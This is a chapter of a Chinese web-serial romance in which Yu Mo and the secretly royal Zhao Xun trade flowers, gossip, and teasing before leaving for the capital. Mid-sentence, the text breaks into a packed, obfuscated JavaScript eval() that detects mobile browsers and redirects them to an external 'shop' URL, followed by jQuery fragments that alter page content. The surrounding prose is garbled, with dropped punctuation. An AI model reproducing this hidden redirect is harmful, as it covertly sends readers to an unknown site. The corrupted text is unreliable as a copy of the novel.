第 37 章 隐疾

作品:《错认未婚夫以后

    因着护卫刻意出言打断,虞茉并未听清。


    她扬唇笑了笑眼尾弯翘起令人心生好感的弧度不再久留,别过目露遗憾的段文音,猫腰进了安岳王府的金篷马车。


    大道平坦但赵浔再三叮嘱要慢行以免她受路途颠簸之苦。


    是以待悠悠回至王府不等她坐直身子,骨节分明的手先一步拨开掩映的车帘,露出赵浔温润精致的眉眼。


    “你怎么来了。”


    虞茉喜出望外搭着他的肩臂走下趁势环住劲瘦窄腰。


    赵浔抬掌轻抚她的背,缓声问:“好玩吗?”


    “尚可。”她仰起小脸低语道,“阿浔我想你了。”


    闻言他眼底笑意愈发浓烈,自喉间溢出难掩愉悦的一个“嗯”字,胸腔也随之震颤。


    虞茉等了等,不见他用更多话语回应


    却闻见一股清幽花香,不似在段府沾惹上的。她好奇细嗅,重又对上赵浔乌黑的眼眸。


    “茉茉。”他倾身凑近因不常直抒胸臆,语中带了几不可察的羞赧,“我亦在思念你。”


    嗓音低沉磁性,贴着耳畔如一道细微的电流直将她刺激得半边身子麻了麻。


    迎着虞茉渐染绯红的脸他自身后“变”出一枝娇艳欲滴的花束。


    “送我的?”她惊喜地睁圆了眼顷刻间冰释前嫌。


    赵浔怜爱地摸了摸她的长发笑着答:“方才见书房外的蜀葵开了遂撷来借花献佛回去替你插上如何?”


    她忙不迭点头见花枝尾端已被丝帕包裹好不至于划伤手心肌肤。


    于是一面暗自感叹赵浔细心一面分享起所见所闻:“今日在段府骤然见了许多年岁相近的小娘子虽不熟络但光是听她们你一言我一语倒也觉得妙趣丛生。”


    虞茉清清嗓略显生硬地转折“不过还是和阿浔在一处最是得趣。”


    他听后显然有些受宠若惊步履微顿又佯作若无其事地牵着她继续往前。只唇角如何也压不下来肩膀亦在轻轻抖动。


    见状虞茉耳根发烫迫使自己将目光移向盛放的蜀葵。


    穿行过葱葱郁郁的梧桐她左右环顾一圈确认仆从皆默契散去扯了扯赵浔袖摆眉飞色舞道:“有人暗中思慕殿下。”


    她口中的殿下只会是赵凌。


    是以赵浔淡然地“嗯”一声尾调上扬作出洗耳恭听的姿态。


    即便无人偷听事关女子清誉


    她仍是压低了嗓音,神神秘秘地说:“不过这方式未免迂回,若非我聪慧,一眼瞧了出来,怕是再过八百年也无人察觉。


    赵浔适时应声,捧场地问:“不知是何种方式?


    “你可不许往外说。


    “……他无奈地扬了扬眉,也不辩驳自己并未闲到嚼人舌根的地步,只顺着虞茉的话承诺道,“天知地知,你知我知。


    虞茉这才少了心理负担,打开话匣子。


    她掐去段文音的名讳与身份,将乐雁提过的口舌之争拎出来提了一提,煞有其事地点评:“是不是极为隐晦?若教殿下知道了,哪里会以为小娘子心存爱慕,当仇人还差不多呢。要我说呀,花开堪折直须折。


    赵浔的重点落在最后一句,话音渐冷:“哦?你似是颇有经验。


    “……


    虞茉忙为他顺毛,软声道,“没吃过猪肉也见过猪跑,再者,那些个话本还是你替我选的。


    这倒也是。


    他面色稍霁,绕回先前的话题:“阿凌性情直率,品行亦端正,被爱慕也是人之常情。


    “可差点将我牵连进去。


    虞茉实则也纳罕,今日段文音候在东角门的抄手游廊,但她却是在四时居遇上赵凌。按理说,段文音应当不曾撞见二人谈话,如何就被刺激得专程前来质问?


    总归,身侧有行走的智囊团,她屈指拨弄着花瓣,一面漫不经心地将细节说与赵浔。


    殊不知,赵浔极快拼凑出真相,目光隐晦地扫向后方护卫。


    但终究不便在此时求证,神色微凝,带着难掩的复杂垂眸看向虞茉。


    索性她满腹心思皆被蜀葵吸引,不曾留意少年凛冽得几乎能凝出霜雪的眼神,与喉间略显慌乱的咽动频率。


    赵浔手握成拳,提醒自己冷静。


    京中孟府与苍州段氏有千丝万缕的关系,原就不乏机会入宫,想来曾与他打过照面。


    加之南巡完满收尾,出行仪仗亦不再刻意降低规制。


    被认出,也是情理之中。


    只赵浔不曾预料,竟会有人专程去向虞茉打听。看来,她口中的小娘子,正是赏花宴的主人。


    而所谓的“殿下


    与他的心事重重相反,虞茉吐露过秘密,只觉身轻如燕,遑论有鲜花在手,好不快哉。


    行过拱桥,她笑盈盈地张臂,熟稔地爬上赵浔的背。


    少女瞳仁清亮,闪动着愉悦的光芒,令笼罩


    着赵浔的阴霾暂时消散。


    他唇角微扬,眉宇间噙了若有若无的笑意,掌心稳稳托着她,说起启程入京的事宜。


    “后日?虞茉小小讶异,“比我想象中快了一些。


    此番赵浔在苍州久久逗留,一是考虑到她身子骨弱,尚不能适应连日的长途跋涉。


    二是在等刺杀储君之事发酵。


    消息自开阳传入京中,再从京中传来苍州,原也需些时日。其中,赵浔有意令父皇、母后暂且隐瞒他的行踪,如此方能博得空隙布局。


    至如今,万事俱备,自当回京复命。


    而父皇更在早朝时,专程指派七兄前来相迎。莫说刺杀,便是赵浔折损一根头发,也当记在七皇子与其背后的淑妃势力身上。


    可他断也没有轻松揭过的道理。


    是以,赵浔决意提前动身,让七兄跑空,先行在京中备一份“大礼。


    他侧目看向虞茉,郑重道:“回京以后,我有一件很重要的事需得向你坦白。


    “什么意思。


    虞茉心跳骤停一拍,歪了歪头,警惕地打量他的神情,语气不悦,“难不成,你在京中有什么情债未偿?


    赵浔:“没有……


    “你分明迟疑了。她当即举高了蜀葵,又不舍糟蹋,讪讪收回手,挑眉看他,“你欺骗我的感情!


    他轻叹一声,平静地道:“茉茉,你觉得我敢吗?


    虞茉在心中飞快盘算——


    一路行来,赵浔的表现可圈可点,值得被她勉为其难地信任一回。且亲近之时,生涩的反应也不似作假,应当不曾有过经验。


    她按捺住翻涌的酸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992826|129540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意,瓮声道:“究竟要坦白什么,不能现在就告诉我么?


    “不能。赵浔嗓音生硬,细听之下甚至带了颤意。


    但他不忍虞茉伤怀,耐着性子解释,“再给我些时日。但我向你保证,此事与旁人无关,也不会损害你的利益,更不代表我对你的情意是假。


    虞茉努了努嘴,极小声地揣测:“按照排除法,你莫不是有什么……咳咳。


    赵浔:“什么?


    “唔嗯。她舌尖快速滑过两字。


    纵然赵浔耳力过人,却不代表他能从两个模糊音节中分辨出有效信息,忍了忍,继续温声地问:“莫不是有什么?


    “还要问多少遍呀。虞茉恼羞成怒,将脸埋入他颈间,破罐子破摔道,“你坦白说吧,是不是身患隐疾。


    “……


    见他沉


    默,虞茉“噌”地抬起脸,讶然:“被我猜中了?”


    赵浔重重闭目,语气森然地吐字:“不如,你亲自感受一下。”


    她气焰顿消,乖巧地伏在他肩上,无辜道:“不是就不是,凶什么。若以后当真到了谈婚论嫁的地步,自然也需提前了解,否则,守活寡么?”


    一番话说得理直气壮,令赵浔噎了噎。


    甚至,公然讨论房中之事,多有尴尬。他面色半青半红,倒从险些暴露身份的不安中抽离。


    难得沉默地行了一路,穿过月洞门,赵浔将她放下。


    虞茉也渐渐理清了思绪,轻声说道:“明日要随王妃、乐雁去寺庙祈福,后日启程倒是不错。”


    她顿了顿,不无忧虑地开口,“再有一事,等入了京,我想先独自安顿下来,不去江家也不去温家。”


    毕竟不似游戏,能不断存档、回档。


    谨慎起见,虞茉想暗中观望过情形,再决定以何种身份示人。


    否则,才出虎口又入狼窝,岂非得不偿失。


    “也好。”赵浔听后眉目舒展,笑着应了她,“我先将你安顿在旧友府上,再寻机会让你与温家人碰面,若是性情相投,再相认也不迟。”


    他又微微面红,解释道——之所以不曾选择单独置办宅院,是因他必然会时常造访,人多眼杂,容易害得虞茉被人误当成外室。


    在权势面前,流言易断。可即便有一人议论、诋毁与她,也非赵浔所愿。


    既如此,从根源处解决最为稳妥。


    “知道了。”听罢,虞茉挠挠他的手心,“你说这花儿摆在何处更好?”


    “我来罢。”


    赵浔灌了清水,屈指抚平花叶,左右环顾一圈,最终决定摆放在窗边,伴着满园苍翠,愈显雅致。


    见他神色恢复了以往的温柔,耳根红意也有所消退。虞茉不禁恶从胆边生,从身后环住他。


    迎着赵浔清澈的眼神,她故意问:“那什么,还用亲自感受么?”


    ——是不是身患隐疾?


    ——不如,你亲自感受一下。


    他唇角笑意凝滞,周身肌理紧紧绷起,仿佛一张拉满的长弓。


    只消虞茉轻轻一拨,便能碎掉。


    作者有话要说


    感谢灌溉营养液的小天使:云溧、今天要吃螺蛳粉、海水1瓶;非常感谢大家对我的支持,我会继续努力的!